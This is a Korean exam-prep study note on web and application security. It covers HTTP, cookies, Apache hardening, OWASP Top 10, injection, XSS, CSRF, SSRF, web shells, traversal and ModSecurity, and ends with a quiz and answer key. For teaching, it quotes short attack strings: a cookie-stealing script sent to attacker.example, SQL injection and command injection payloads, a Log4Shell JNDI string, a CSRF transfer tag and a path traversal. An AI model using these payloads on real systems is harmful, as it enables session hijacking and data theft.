본문으로 건너뛰기
페이지 목차
이 페이지에서 검색

EIS

이 페이지에 묻기

EIS · 현재 차시와 목차 본문에서만 찾아 답합니다. 답을 지어내지 않고 해당하는 대목을 그대로 보여 주며, 여기에 없으면 없다고 알려 드립니다.

생성형 AI가 아니라 이 페이지 본문을 찾아 그대로 보여 주는 방식입니다. 외부로 나가는 요청이 없습니다.

EIS · SECURITY

EIS

생성 수정

정보보안기사의 시스템·네트워크·애플리케이션 보안과 암호·관리·실기 내용을 개념의 경계와 실습으로 연결합니다.

29개 문서 · 3 · 어플리케이션보안 · 14 / 29

13 · 웹 · 앱 보안

지도 위치 : 3과목 어플리케이션 보안 · README 4장 ③ 영역(어플리케이션) — 웹 서비스의 공격 ↔ 대응 | 출제기준: 1. 인터넷 응용 보안 > 3. Web/App 보안 | 이전: 12 FTP · 메일 보안 | 다음: 14 DNS · DB 보안 출제 빈도 : ⭐⭐⭐ (회당 약 5.2문항 — 출제분석.md) · 변화 – · ⚠️ 신규 범위 포함 (Time-based SQL Injection, Man-in-the-Browser, Credential Stuffing, Tabnabbing, UDDI) 세세항목 : Web/App 개념 / Web/App 운영 / Web/App 장애 분석 및 대응 / Web/App 공격 유형 / Web/App 보안 기술

이 노트를 다 읽으면

  1. HTTP 메서드 · 상태코드 · 요청/응답 헤더 를 구별하고, 쿠키 속성 Secure · HttpOnly · SameSite 가 각각 무엇을 막는지 말할 수 있다.
  2. Apache httpd.conf에서 디렉터리 리스팅 · 버전 노출 · 업로드 크기 설정을 찾아 점검할 수 있다.
  3. 웹 공격을 "서버를 노리나, 브라우저(사용자)를 노리나" 로 나누고, XSS · CSRF · SSRF 를 한 줄씩 구별할 수 있다.
  4. SQL Injection을 Error · Union · Blind(Boolean) · Time-based · Mass 로 나누고 대응책이 아닌 것을 고를 수 있다.
  5. 파일 업로드(웹셸) · 다운로드(경로 조작) 취약점의 대응을 말할 수 있다.
  6. ⚠️ Credential Stuffing · Tabnabbing · Man-in-the-Browser 를 형제 개념과 구별할 수 있다.
  7. WAF · ModSecurity 의 동작 모드를 설정 파일에서 읽을 수 있다.

0. 이 노트의 판별 축

#축왼쪽 (0)오른쪽 (1)이 축으로 갈리는 것큰 축 (README 5장)
1누가 피해를 입나 (어디서 실행되나)서버 · DB에서 실행사용자 브라우저 에서 실행SQLi · 명령 삽입 · SSRF ↔ XSS · CSRF · Tabnabbing이 노트의 축
2악성 입력이 서버에 남는가남지 않음 (요청에 담겨 바로 반사)저장됨 (게시판 · DB)Reflected XSS ↔ Stored XSS이 노트의 축
3결과가 화면에 보이는가보임 (In-band)안 보임 (Blind)Error · Union SQLi ↔ Boolean · Time-based SQLi이 노트의 축
4위조된 요청을 누가 보내나사용자 브라우저가 보냄서버가 보냄CSRF ↔ SSRF⑥ 인증 ↔ 인가 (남의 권한을 빌림)
5언제 막나코드 · 설정으로 미리 (시큐어 코딩, 하드닝)요청을 보고 걸러냄 · 기록 분석입력 검증 · Prepared Statement ↔ WAF · 로그 분석④ 예방 ↔ 탐지 · 대응

이 노트가 답하는 질문은 "웹은 왜 가장 많이 뚫리고, 공격 이름이 수십 개인데 어떻게 정리하는가" 입니다. 답은 축 1 하나로 대부분 정리됩니다. 사용자가 보낸 입력이 서버 쪽 해석기 (SQL · 셸 · XML 파서)에서 코드로 실행되면 주입 공격이고, 브라우저 에서 코드로 실행되면 XSS입니다. 앞에서 배운 응용 계층 · 포트(06번 노트), 세션 하이재킹(09번 노트), 방화벽 · IPS(11번 노트), 버퍼 오버플로 · 알려진 취약점(03번 노트)이 이 노트의 배경입니다.


1. HTTP — 웹의 문법

1.1 요청과 응답의 모양

GET /board/view.php?id=7 HTTP/1.1        ← 요청 줄: 메서드 · 경로(쿼리) · 버전
Host: www.example.com
User-Agent: Mozilla/5.0
Cookie: SESSIONID=a8f3c...               ← 브라우저 → 서버 (요청 헤더)
                                          ← 빈 줄 다음이 본문(GET은 보통 없음)

HTTP/1.1 200 OK                           ← 상태 줄
Server: Apache                            
Set-Cookie: SESSIONID=a8f3c...; Secure; HttpOnly; SameSite=Lax   ← 서버 → 브라우저 (응답 헤더)
Content-Type: text/html

🔍 읽는 포인트 : Cookie는 요청 헤더, Set-Cookie는 응답 헤더 입니다. HTTP는 기본 TCP 80, HTTPS는 443이며 상태를 기억하지 않는(stateless) 프로토콜이라 쿠키 · 세션이 필요합니다.

1.2 ⭐ HTTP 메서드

메서드하는 일보안 관점
GET자원 조회. 파라미터가 URL(쿼리 문자열)에 노출로그 · 브라우저 기록 · Referer에 남음. 상태 변경에 쓰면 CSRF가 쉬워짐
POST본문(body)에 데이터를 담아 전송파라미터가 URL에 안 보일 뿐 암호화는 아님
HEADGET과 같되 헤더만 응답정보 수집용
PUT지정 경로에 자원 생성 · 덮어쓰기 (파일 업로드)열려 있으면 웹셸 업로드 가능 → 비활성화
DELETE자원 삭제비활성화
OPTIONS허용 메서드 조회정보 노출
TRACE받은 요청을 그대로 되돌려 줌(루프백)XST(Cross-Site Tracing)로 쿠키 노출 가능 → TraceEnable Off

📝 기출 포인트 — 메서드는 7회 이상. "HTTP/1.1 표준 메서드가 아닌 것", " PUT = 자원 생성 · 파일 업로드 ", "본문으로 파라미터를 보내는 것 = POST", "요청 바디가 없는 메서드(대표적으로 GET · HEAD · TRACE)"가 나왔습니다. POST도 암호화는 아닙니다 — 기밀성은 HTTPS(10번 노트)가 줍니다.

1.3 ⭐ HTTP 상태코드

범주뜻꼭 외울 코드
1xx정보 (처리 중)100 Continue
2xx성공200 OK, 201 Created, 204 No Content, 206 Partial Content
3xx리다이렉션301 영구 이동, 302 임시 이동(Found), 304 Not Modified(캐시 사용)
4xx클라이언트 오류400 Bad Request, 401 Unauthorized(인증 필요) , 403 Forbidden(권한 없음) , 404 Not Found, 405 Method Not Allowed
5xx서버 오류500 Internal Server Error, 501 Not Implemented, 502 Bad Gateway, 503 Service Unavailable, 504 Gateway Timeout

💡 401 ↔ 403은 앞에서 배운 인증 ↔ 인가(17번 노트, 큰 축 ⑥)입니다. 401 = 누군지 모르겠다(로그인하라) , 403 = 누군지는 알지만 안 된다 .

📝 기출 포인트 — 상태코드는 7회(A1.3 2위). 범주 의미, 401/403 구분, 웹 로그에서 코드 해석. 2024년에는 "500번대 오류 대처로 틀린 것 = 쿠키 유효기간 연장" 이 나왔습니다. 500번대는 서버 쪽 (에러 로그, WAS · DB 연결, 자원 고갈)을 봅니다.

1.4 헤더와 프록시

요청 헤더응답 헤더
Host, User-Agent, Referer, Cookie , Authorization, Content-Type, X-Forwarded-For (프록시가 붙이는 원래 클라이언트 IP), ViaServer, Set-Cookie , Location(리다이렉트 목적지), WWW-Authenticate, 보안 헤더(Strict-Transport-Security, Content-Security-Policy, X-Frame-Options, X-Content-Type-Options)

프록시 유형은 헤더로 구별합니다 — 투명 프록시는 Via와 X-Forwarded-For(실제 클라이언트 IP)를 남기고, 익명 프록시는 Via만 남기며, 고익명 프록시는 흔적을 남기지 않습니다.

📝 기출 포인트 — "요청 헤더에 포함되지 않는 것 = Set-Cookie "(2025), "쿠키를 서버로 보낼 때 쓰는 헤더 = Cookie ".

1.5 ⭐ 쿠키 · 세션

쿠키 (Cookie) — [상태 유지 수단]인데, [ 데이터를 클라이언트(브라우저)에 저장 한다]는 점에서 데이터를 서버에 두고 식별자만 주고받는 세션과 구별된다.

쿠키세션
저장 위치클라이언트 (브라우저 메모리 · 디스크)서버
클라이언트가 가진 것값 자체세션 ID (보통 쿠키에 담김)
위조 위험값을 바꿔 권한 상승(예: role=admin)세션 ID 탈취 · 예측
쿠키 속성하는 일막는 것
SecureHTTPS일 때만 전송평문 구간 스니핑
HttpOnlyJavaScript(document.cookie)로 읽기 금지XSS로 쿠키 탈취
SameSite (Strict / Lax / None)다른 사이트에서 시작된 요청 에 쿠키를 붙일지 결정CSRF (None은 Secure 필수)

세션 관리 원칙 : 세션 ID는 추측 불가능한 난수 로, 로그인 성공 후 새로 발급 (세션 고정 공격 방지), 일정 시간 미사용 시 만료, 로그아웃 시 서버에서 파기, URL에 세션 ID 노출 금지 . 중요 정보를 쿠키 값에 직접 두지 말고 서버 세션 에 둡니다.

📝 기출 포인트 — "쿠키 · 세션 위조 → 서버 측 세션 저장 · 중요 기능 2차 인증 으로 대응"(2회), 쿠키 저장 위치 · 구조(2022, 2023). HttpOnly ↔ Secure를 바꿔 놓은 보기가 함정입니다.

1.6 웹 기술 주변 용어

용어정의
서버 측 스크립트서버에서 실행돼 HTML을 만들어 보냄: PHP, JSP, ASP(.NET) . JavaScript · HTML은 브라우저에서 해석되므로 "서버 측이 아닌 것"
SOAPXML 기반 웹서비스 메시지 형식
WSDL웹서비스가 무엇을 어떻게 호출받는지 기술 하는 XML 문서
UDDI ⚠️웹서비스 정보를 등록 · 검색하는 저장소(전화번호부)
robots.txt웹 루트에 두는 검색 크롤러 수집 규칙 (User-agent, Disallow, Allow). 강제력 없음 — 오히려 숨기고 싶은 경로를 공격자에게 알려 줄 수 있음

📝 기출 포인트 — UDDI · WSDL · SOAP 관계 가 2024 · 2025에 반복(강사 "처음 등장" 언급). "XML 웹서비스 기술이 아닌 것 = OCSP "(인증서 상태 확인, 18번 노트). robots.txt는 3회.


2. 웹서버 · WAS 운영과 장애 대응

2.1 ⭐ Apache 하드닝 — httpd.conf

ServerTokens Prod                 # Server 헤더에 "Apache"만 (버전 · OS 숨김)
ServerSignature Off               # 오류 페이지 하단 서버 정보 숨김
TraceEnable Off                   # TRACE 메서드 차단
User apache                       # 웹 프로세스를 비특권 계정으로
Group apache
DocumentRoot "/var/www/html"      # 웹 문서 기본 디렉터리
<Directory "/var/www/html">
    Options -Indexes -FollowSymLinks   # 디렉터리 리스팅 · 심볼릭 링크 따라가기 금지
    AllowOverride None
</Directory>
LimitRequestBody 5242880          # 요청 본문(업로드) 최대 5MB
ErrorDocument 500 /error.html     # 상세 오류 대신 공통 오류 페이지

🔍 읽는 포인트 : Options Indexes가 있으면 디렉터리 리스팅 (index 파일이 없을 때 파일 목록 표시)이 켜집니다. -Indexes 또는 Options None으로 끕니다.

점검 항목ApacheIISTomcat
디렉터리 리스팅Options -Indexes"디렉터리 검색" 사용 안 함web.xml의 listings false
업로드 크기 제한LimitRequestBodymaxAllowedContentLength (요청 필터링)maxPostSize (server.xml)
버전 노출ServerTokens, ServerSignature응답 헤더 제거기본 오류 페이지 교체
웹 프로세스 권한User/Group 비특권 계정응용 프로그램 풀 ID전용 계정 실행

📝 기출 포인트 — 디렉터리 인덱싱(리스팅) 은 2023 · 2024 · 2025 연속(Options Indexes). DocumentRoot (2025), IIS · Apache · Tomcat 업로드 크기 제한 지시어 (2024), Apache 주요 파일의 소유자 · 권한(root 소유), 관리자 페이지 노출 점검(추측 가능한 /admin 경로, IP 제한)도 나왔습니다.

2.2 웹 로그와 장애 분석

203.0.113.7 - - [19/Oct/2026:10:22:01 +0900] "GET /board/view.php?id=1%27%20UNION%20SELECT%20id,pw%20FROM%20member--%20 HTTP/1.1" 200 5123 "-" "sqlmap/1.7"

🔍 읽는 포인트 : %27은 작은따옴표('), %20은 공백 → URL 디코딩하면 UNION SQL Injection . User-Agent sqlmap은 자동화 도구. 상태코드 200은 "요청이 처리됐다"는 뜻일 뿐 공격 실패 여부와 무관 합니다.

웹 로그 분석 상식
access_log요청 줄 · 상태코드 · 크기 · Referer · User-Agent. POST 본문은 기록되지 않음 → POST 공격은 access_log만으로 안 보임
error_log500번대 원인, 스크립트 오류
Apache LogLevel (심각한 순)emerg > alert > crit > error > warn > notice > info > debug
500번대 장애 대응error_log · WAS 로그 확인 → DB 연결 · 자원(메모리 · 스레드) 점검 → 사용자에게는 공통 오류 페이지 (상세 스택 노출 금지)

3. OWASP Top 10 — 위험 목록의 변천

OWASP — [웹 보안 비영리 단체]이며, 몇 년마다 웹 애플리케이션 10대 위험(Top 10) 을 발표합니다.

순위2013201720212025 (최신)
1InjectionInjectionBroken Access ControlBroken Access Control (SSRF 통합)
2인증 · 세션 관리 취약인증 취약Cryptographic FailuresSecurity Misconfiguration
3XSS민감 데이터 노출Injection (XSS 통합)Software Supply Chain Failures (신규)
4안전하지 않은 직접 객체 참조XXE (신규)Insecure Design (신규)Cryptographic Failures
5보안 설정 오류접근통제 취약Security Misconfiguration (XXE 통합)Injection
6민감 데이터 노출보안 설정 오류취약하고 오래된 구성요소Insecure Design
7기능 수준 접근통제 누락XSS식별 · 인증 실패Authentication Failures
8CSRF안전하지 않은 역직렬화 (신규)소프트웨어 · 데이터 무결성 실패 (신규)Software or Data Integrity Failures
9알려진 취약 구성요소알려진 취약 구성요소로깅 · 모니터링 실패Security Logging and Alerting Failures
10검증되지 않은 리다이렉트불충분한 로깅 · 모니터링 (신규)SSRF (신규)Mishandling of Exceptional Conditions (신규)

(2025판 이름은 OWASP 공식 사이트 top10.owasp.org 기준. 2025판에서 SSRF는 A01에 매핑됨.)

📝 기출 포인트 — "OWASP 2017에 새로 추가된 것 = XXE "(2018), "2013 항목 판별", "OWASP Top 10의 1위였던 Injection ". 문제은행이 오래돼 2013 · 2017판 기준 문항 이 남아 있을 수 있으니 판별 축은 "어느 판의 몇 위"보다 "새로 들어온 것 · 합쳐진 것" 으로 기억하세요.


4. 서버를 노리는 공격 — 주입 계열

주입 (Injection) — [입력값 검증 실패 공격]인데, [ 사용자 입력이 서버 쪽 해석기(SQL · OS 셸 · XML 파서 · 코드 실행기)에서 명령의 일부로 해석된다 ]는 점에서 브라우저에서 실행되는 XSS와 구별된다(0절 축 1).

4.1 ⭐ SQL Injection

-- 로그인 쿼리:  SELECT * FROM member WHERE id='[입력]' AND pw='[입력]'
-- id에 입력:    admin' --
SELECT * FROM member WHERE id='admin' -- ' AND pw='아무거나'

🔍 읽는 포인트 : '로 문자열을 닫고 --로 뒤의 비밀번호 조건을 주석 처리 합니다. 주석 기호는 DBMS마다 다릅니다 — MySQL/MariaDB # 또는 -- (공백 필요) , Oracle · MS SQL -- , 공통으로 /* */.

유형결과를 어떻게 얻나 (축 3)예
Error-basedDB 오류 메시지 에 정보가 드러남형 변환 오류로 테이블명 노출
Union-basedUNION SELECT로 다른 테이블 결과를 원래 결과에 붙여 화면에 출력. 컬럼 수 · 타입이 같아야 함' UNION SELECT id, pw FROM member--
Blind (Boolean)화면엔 데이터가 안 나오고 참/거짓에 따른 페이지 차이 로 한 글자씩 추론' AND SUBSTRING(pw,1,1)='a'--
Time-based ⚠️참/거짓 차이조차 없을 때 응답 지연 시간 으로 추론MySQL SLEEP(5), MS SQL WAITFOR DELAY '0:0:5'
Stored Procedure위험한 확장 프로시저 호출MS SQL xp_cmdshell (14번 노트)
Mass SQL Injection한 번의 공격으로 DB의 많은 레코드에 악성 스크립트(악성 URL)를 삽입 → 방문자 감염대량 DB 변조
⭕ 대응책❌ 대응책이 아닌 것 (함정 보기)
Prepared Statement (바인드 변수 · 매개변수화 쿼리) — 입력을 데이터로만 취급클라이언트(JavaScript) 검증 만 하기 — 우회 가능
서버 측 입력값 검증 ( 화이트리스트 ), 특수문자(' " ; -- #) 필터DB 오류 메시지를 상세히 보여 주기
DB 계정 최소 권한 (웹 계정에 DBA 권한 금지)GET을 POST로 바꾸기 — 공격 위치만 바뀜
오류 메시지 숨김(공통 오류 페이지), WAF동적 쿼리를 문자열 연결로 만들기

📝 기출 포인트 — SQLi는 A1.3에서 XSS 다음으로 많습니다(대응 5회 + 개념 5회 + 유형). "대응책이 아닌 것" 유형, 웹 로그의 인코딩된 파라미터로 SQLi 추정, DBMS별 주석 기호 (2024), Mass · Union · Blind · Time-based 구분 (2025). Time-based는 2025년 "처음 등장"으로 언급된 ⚠️ 신규 범위입니다.

4.2 다른 주입 공격

공격해석기예 · 대응
OS 명령 삽입OS 셸ping 8.8.8.8; cat /etc/passwd — ; `
코드 삽입서버 언어의 eval() 등입력을 코드로 평가하지 않기
XPath · XQuery · LDAP 삽입XML 질의 · 디렉터리 질의특수문자 이스케이프, 매개변수화
XXE (XML External Entity)XML 파서외부 엔티티로 서버 파일 읽기 · 내부 요청 → 외부 엔티티 · DTD 처리 비활성화
Log4j (Log4Shell)로깅 라이브러리의 JNDI 조회${jndi:ldap://공격자/a} 문자열이 로그에 기록되기만 해도 원격 코드 실행 → 패치(업그레이드), JNDI 조회 기능 제거
HTTP Request Smuggling앞단(프록시)과 뒷단 서버의 요청 경계 해석 차이 (Content-Length ↔ Transfer-Encoding)해석 방식 통일, 모호한 요청 거부

📝 기출 포인트 — 명령어 삽입과 Blind SQLi 구분(2024), 웹셸 ↔ 코드 인젝션 ↔ 명령어 삽입 구분(2024), Log4j = JNDI (2024 · 2025 · DB 노트에서도 1회), XPath ↔ SSRF 구분(2025). 앞에서 배운 Heartbleed · Shellshock(03번 노트)과 함께 "알려진 취약점 구분" 보기로 섞여 나옵니다.

4.3 SSRF — 서버가 대신 요청하게 만들기

SSRF (Server-Side Request Forgery) — [요청 위조 공격]인데, [ 서버가 공격자가 지정한 주소로 요청을 보내게 만든다 ]는 점에서 사용자 브라우저가 요청을 보내게 만드는 CSRF와 구별된다(0절 축 4). 서버는 내부망 · 클라우드 메타데이터 주소에 접근할 수 있으므로, 외부에서 못 닿는 곳을 서버를 통해 엿봅니다. 대응은 요청 대상 화이트리스트, 내부 IP 대역 차단, 리다이렉트 추적 제한 입니다.


5. 브라우저 · 사용자를 노리는 공격

5.1 ⭐ XSS — 이 노트의 최다 출제 개념

XSS (Cross-Site Scripting) — [입력값 검증 실패 공격]인데, [ 공격자의 스크립트가 피해자의 브라우저에서 그 사이트의 권한으로 실행된다 ]는 점에서 서버의 DB 해석기에서 실행되는 SQL Injection과 구별된다.

유형스크립트가 어디 있나 (축 2)전형적 경로
Stored (저장형)서버(게시판 · DB)에 저장게시글에 <script> 삽입 → 글을 연 모든 사용자 피해
Reflected (반사형)서버에 남지 않음, 요청 파라미터가 응답에 그대로 반사악성 링크(search?q=<script>...)를 클릭한 사용자 피해
DOM 기반서버를 거치지 않고 브라우저의 JavaScript가 DOM을 조작 하다 실행location.hash 값을 innerHTML에 넣는 코드
<script>new Image().src="http://attacker.example/c?="+document.cookie;</script>

🔍 읽는 포인트 : 전형적 목적은 쿠키(세션 ID) 탈취 → 세션 하이재킹(09번 노트). 그래서 HttpOnly 가 피해를 줄입니다.

대응 : 출력 시 HTML 엔티티 인코딩 (< → &lt;, > → &gt;, " → &quot;), 입력값 검증(화이트리스트), HTML 허용 게시판은 허용 태그만 남기는 필터, 쿠키 HttpOnly , CSP (Content-Security-Policy).

📝 기출 포인트 — XSS는 A1.3 최다(12회). " 게시판에 스크립트를 심어 클라이언트를 공격 ", " 특수문자 치환 으로 막는 공격", Stored ↔ Reflected 특성 (2023), "XSS는 브라우저를 공격 한다 — CSRF · SSRF · SQLi와 구분"(2024)이 반복됩니다.

5.2 ⭐ CSRF

CSRF (Cross-Site Request Forgery) — [요청 위조 공격]인데, [ 로그인된 사용자의 브라우저가 사용자 모르게 공격자가 만든 요청을 정상 사이트로 보내게 해 그 사용자의 권한으로 실행시킨다 ]는 점에서 사용자 브라우저에서 공격자 스크립트를 실행시키는 XSS와 구별된다.

<!-- 공격자가 게시판 · 메일에 심은 이미지 태그 -->
<img src="https://bank.example/transfer?to=attacker&amount=1000000" width="0" height="0">

🔍 읽는 포인트 : 브라우저는 bank.example에 요청을 보낼 때 그 사이트의 쿠키를 자동으로 붙입니다. 서버는 정상 사용자의 요청으로 믿습니다. GET으로 상태를 바꾸는 설계가 이 공격을 쉽게 만듭니다.

XSSCSRFSSRF
실행되는 곳피해자 브라우저정상 서버 (피해자 권한으로)서버 가 제3 목적지로 요청
공격자가 노리는 것쿠키 탈취, 화면 변조송금 · 비밀번호 변경 같은 상태 변경내부망 · 메타데이터 접근
신뢰를 악용하는 방향사용자가 사이트 를 믿음사이트가 사용자 브라우저 를 믿음내부망이 서버 를 믿음
핵심 대응출력 인코딩, HttpOnly, CSPCSRF 토큰 , 재인증 · CAPTCHA, SameSite, Referer/Origin 검증목적지 화이트리스트

📝 기출 포인트 — CSRF 5회 + 대응 2회: " 로그인한 사용자의 권한으로 원치 않는 요청을 실행 ", 대응은 " POST 사용 · 예측 불가 토큰 · 중요 기능 재인증 · CAPTCHA "(2016, 2024). CSRF와 XSS의 차이 를 직접 묻는 문항(2019)도 있습니다.

5.3 ⚠️ 계정 · 탭 · 브라우저를 노리는 신규 공격

공격정의 (유 + 종차)형제와의 경계대응
Credential Stuffing[계정 탈취 공격]인데, [ 다른 곳에서 유출된 아이디 · 비밀번호 쌍을 그대로 다른 사이트에 자동 대입 ]한다무차별 대입은 비밀번호를 생성 해 시도, 패스워드 스프레잉은 흔한 비밀번호 하나를 여러 계정 에MFA, 로그인 시도 제한, 이상 로그인 탐지, CAPTCHA, 비밀번호 재사용 금지 교육
Tabnabbing[피싱 기법]인데, [ 사용자가 보지 않는 브라우저 탭의 내용을 가짜 로그인 화면으로 바꿔 놓는다 ]Reverse Tabnabbing : target="_blank"로 열린 새 페이지가 window.opener로 원래 탭 을 피싱 페이지로 바꿈링크에 rel="noopener noreferrer", 주소창 확인
Man-in-the-Browser (MitB)[중간자 공격]인데, [ 브라우저 내부(악성 확장 · 트로이목마)에서 거래 내용을 가로채 변조 한다]MITM(09번 노트)은 네트워크 경로 중간. MitB는 암호화 전 브라우저 안 이라 TLS로 못 막음거래연동 OTP (거래 내용에 서명), 별도 채널 확인, 백신 · 확장 관리
URL 스푸핑 (호모그래프)[위장 기법]인데, [ 모양이 비슷한 문자(키릴 문자 등)로 정상 주소처럼 보이는 도메인 을 쓴다]파밍은 DNS를 변조 (14번 노트), 호모그래프는 주소 자체가 다름퓨니코드 표시, 주소 확인
Drive-by Download[악성코드 유포 기법]인데, [ 사이트 방문만으로 브라우저 취약점을 통해 악성코드가 설치된다]사용자가 직접 실행하는 트로이목마와 구별브라우저 · 플러그인 패치

📝 기출 포인트 — Credential Stuffing (2019), Tabnabbing (2023), MitB (2024 "처음 등장"), URL 스푸핑(2024)이 모두 최근 문제은행에 추가된 ⚠️ 신규 범위입니다. 문항은 "설명에 맞는 공격 고르기" 형태라 표의 경계 열 만 확실하면 풀립니다.


6. 파일 · 경로를 노리는 공격

6.1 ⭐ 파일 업로드 → 웹셸

웹셸 (Web Shell) — [악성 스크립트 파일]인데, [ 업로드 기능으로 서버에 올린 뒤 웹 브라우저로 호출해 서버에서 시스템 명령을 실행 한다]는 점에서 요청 파라미터에 명령을 섞는 OS 명령 삽입과 구별된다.

⭕ 대응❌ 틀린 대응 · 우회
확장자 화이트리스트 (jpg, png 등만 허용)블랙리스트만(.php 차단) → .php5, .phtml, 대소문자로 우회
업로드 디렉터리를 웹 루트 밖 에 두거나 실행 권한 제거업로드 폴더에서 스크립트 실행 허용
저장 파일명을 추측할 수 없는 난수 로 변경파일명을 순차 번호 로 부여 → 경로 추측 가능
크기 제한, MIME · 파일 시그니처(내용) 검사Content-Type 헤더만 믿기 (조작 가능)
확장자 판정 전에 널 바이트 · 이중 확장자 제거shell.php%00.jpg, shell.php.jpg 우회 허용

6.2 파일 다운로드 · 디렉터리 트래버설

GET /download.jsp?file=../../../../etc/passwd

🔍 읽는 포인트 : ../로 웹 루트(DocumentRoot) 밖 으로 올라갑니다. 인코딩(%2e%2e%2f)으로도 들어옵니다.

대응 : 파일 경로를 입력으로 받지 말고 ID ↔ 파일 매핑 , ../ · ..\ 필터 및 경로 정규화 후 허용 디렉터리 안인지 검사 , 웹 프로세스 권한 최소화.

형제차이
LFI (Local File Inclusion)서버 안의 파일을 include로 끌어와 실행 · 노출
RFI (Remote File Inclusion)외부 URL 의 스크립트를 include → PHP는 allow_url_fopen = Off, allow_url_include = Off

📝 기출 포인트 — 파일 업로드 · 웹셸은 6회 이상: " 파일명 순차 부여는 틀린 대응 ", 널바이트 우회(2024), 저장 경로를 웹 루트 밖으로. 다운로드 경로 조작(2014), RFI → allow_url_fopen (2018). 개발 관점의 "경로 조작 및 자원 삽입"은 16번 노트에서 다시 봅니다.


7. 웹 보안 솔루션 — WAF와 ModSecurity

WAF (Web Application Firewall) — [네트워크 보안 솔루션]인데, [ HTTP 요청 · 응답의 내용(파라미터 · 헤더 · 본문)을 웹 공격 관점으로 검사 한다]는 점에서 IP · 포트만 보는 방화벽, 여러 프로토콜의 시그니처를 보는 범용 IPS(11번 노트)와 구별된다.

ModSecurity — [오픈소스 WAF]인데, [ Apache(이후 Nginx · IIS 지원) 웹서버에 모듈로 붙는다 ]는 점에서 별도 장비형 WAF와 구별된다. 규칙 집합으로 OWASP CRS(Core Rule Set)를 많이 씁니다. WebKnight 는 IIS용 공개 WAF입니다.

SecRuleEngine On                 # On | Off | DetectionOnly (탐지 · 기록만, 차단 안 함)
SecRequestBodyAccess On          # POST 본문까지 검사
SecAuditEngine RelevantOnly      # On | Off | RelevantOnly (경고 · 오류 난 트랜잭션만 감사 로그)
SecRule ARGS "@rx (?i)union\s+select" "id:1001,phase:2,deny,status:403,log,msg:'SQLi'"

🔍 읽는 포인트 : SecRuleEngine = 차단 엔진 , SecAuditEngine = 감사 로그 엔진 입니다. 처음 도입할 때는 DetectionOnly로 오탐을 확인한 뒤 On으로 바꿉니다. SecRequestBodyAccess On이 있어야 access_log에 안 남는 POST 공격 도 봅니다.

CAPTCHA — [사용자 확인 기술]인데, [ 사람은 풀고 자동화 프로그램은 풀기 어려운 문제로 사람과 컴퓨터를 구분 한다]는 점에서 신원을 확인하는 인증과 구별된다. 자동 가입 · 크리덴셜 스터핑 · CSRF(중요 기능 확인)에 씁니다.

📝 기출 포인트 — ModSecurity 4회: "아파치 웹방화벽 모듈", 기능 범위, 감사엔진 설정값 (2023). WebKnight(IIS), CAPTCHA 목적(2024 · 2025)도 나왔습니다.

💡 비유는 마지막에 — 방화벽은 건물 출입문의 명단 확인 , WAF는 창구 직원이 서류 내용을 읽어 보는 것 입니다.


8. 실기 연결

관련 수행준거 : 1-3 웹 서비스 동작절차와 환경 설정, 2-2-5 WEB/WAS 서버 설정이 다양한 공격 유형에 대비해 적절한지 점검 , 2-3-6 WAF 보안 설정 점검 , 3-1 서비스별(WWW) 로그 모니터링, 3-2 로그 분석 및 대응.

예상 질문답안 핵심어
디렉터리 리스팅 취약점과 조치Options Indexes 제거(-Indexes), 파일 목록 · 백업 파일 노출
SQL Injection 원리와 대응 3가지입력이 쿼리로 해석, Prepared Statement(바인드 변수) , 서버 측 입력 검증, 최소 권한 · 오류 메시지 숨김
XSS와 CSRF의 차이XSS = 브라우저에서 스크립트 실행 , CSRF = 사용자 권한으로 위조 요청 , 대응(인코딩 · HttpOnly ↔ 토큰 · 재인증)
업로드 취약점 대응확장자 화이트리스트, 실행 권한 제거 · 웹 루트 밖 저장, 난수 파일명, 크기 제한
웹 로그에서 공격 판정URL 디코딩(%27='), UNION · SLEEP · <script> · ../ 패턴, User-Agent(sqlmap 등)
ModSecurity 설정 해석SecRuleEngine(On/Off/DetectionOnly), SecAuditEngine(RelevantOnly)

점검표 예시 (Apache)

항목확인양호
디렉터리 리스팅grep -n "Options" httpd.confIndexes 없음
버전 노출ServerTokens, ServerSignatureProd / Off
웹 프로세스 계정User, Grouproot 아님
업로드 제한LimitRequestBody업무에 맞는 값

9. 확인 문제

1. HTTP 응답 코드에 대한 설명으로 틀린 것은? ① 302는 임시 리다이렉션이다 ② 401은 인증이 필요함을 뜻한다 ③ 403은 서버 내부 오류를 뜻한다 ④ 503은 서비스를 일시적으로 사용할 수 없음을 뜻한다

2. 쿠키 속성 중 XSS로 인한 세션 쿠키 탈취를 줄이기 위한 것은? ① Secure ② HttpOnly ③ Domain ④ Expires

3. Apache에서 index 파일이 없는 디렉터리의 파일 목록이 노출되는 원인이 되는 설정은? ① ServerTokens Prod ② Options Indexes ③ TraceEnable Off ④ AllowOverride None

4. 화면에 아무 데이터도 출력되지 않고 참/거짓에 따른 페이지 차이도 없을 때, SLEEP()나 WAITFOR DELAY를 이용해 정보를 추론하는 공격은? ① Union-based SQL Injection ② Error-based SQL Injection ③ Time-based SQL Injection ④ Mass SQL Injection

5. SQL Injection 대응으로 가장 거리가 먼 것은? ① 바인드 변수를 사용하는 Prepared Statement ② 서버 측 입력값 화이트리스트 검증 ③ DB 오류 메시지를 사용자에게 상세히 출력 ④ 웹 애플리케이션 DB 계정의 최소 권한

6. 다음 설명에 해당하는 공격은? "로그인한 사용자가 공격자의 게시글을 열자, 사용자 모르게 비밀번호 변경 요청이 정상 사이트로 전송되어 처리되었다." ① Stored XSS ② CSRF ③ SSRF ④ Credential Stuffing

7. 브라우저에 설치된 악성 확장 프로그램이 인터넷뱅킹 이체 화면의 계좌번호를 바꿔 치는 공격과, 이를 줄이는 대책의 짝으로 옳은 것은? ① MITM — HTTPS 적용 ② Man-in-the-Browser — 거래연동 OTP ③ Tabnabbing — HttpOnly ④ SSRF — CSRF 토큰

정답과 해설

#정답해설 (판별 축)
1③403은 권한 없음 (인가), 서버 내부 오류는 500. 401 ↔ 403 = 인증 ↔ 인가(큰 축 ⑥)
2②HttpOnly = 스크립트로 읽기 금지 . Secure는 HTTPS 전송 제한(스니핑 대응)
3②Indexes가 리스팅. ①은 버전 숨김, ③은 TRACE 차단, ④는 .htaccess 무시
4③축 3(결과가 보이는가)의 Blind 쪽, 그중 시간 차이 를 쓰는 것. Union · Error는 In-band, Mass는 대량 변조
5③상세 오류는 Error-based 공격의 재료 . ①②④는 예방 대책
6②축 4: 사용자 브라우저가 사용자 권한으로 위조 요청 = CSRF. 스크립트가 쿠키를 빼내면 XSS, 서버가 요청하면 SSRF
7②브라우저 내부 에서 변조 → TLS 무력, 거래 내용에 묶인 OTP로 확인. MITM은 네트워크 경로

부록 A. 스스로 확인하기

#질문답이 있는 곳
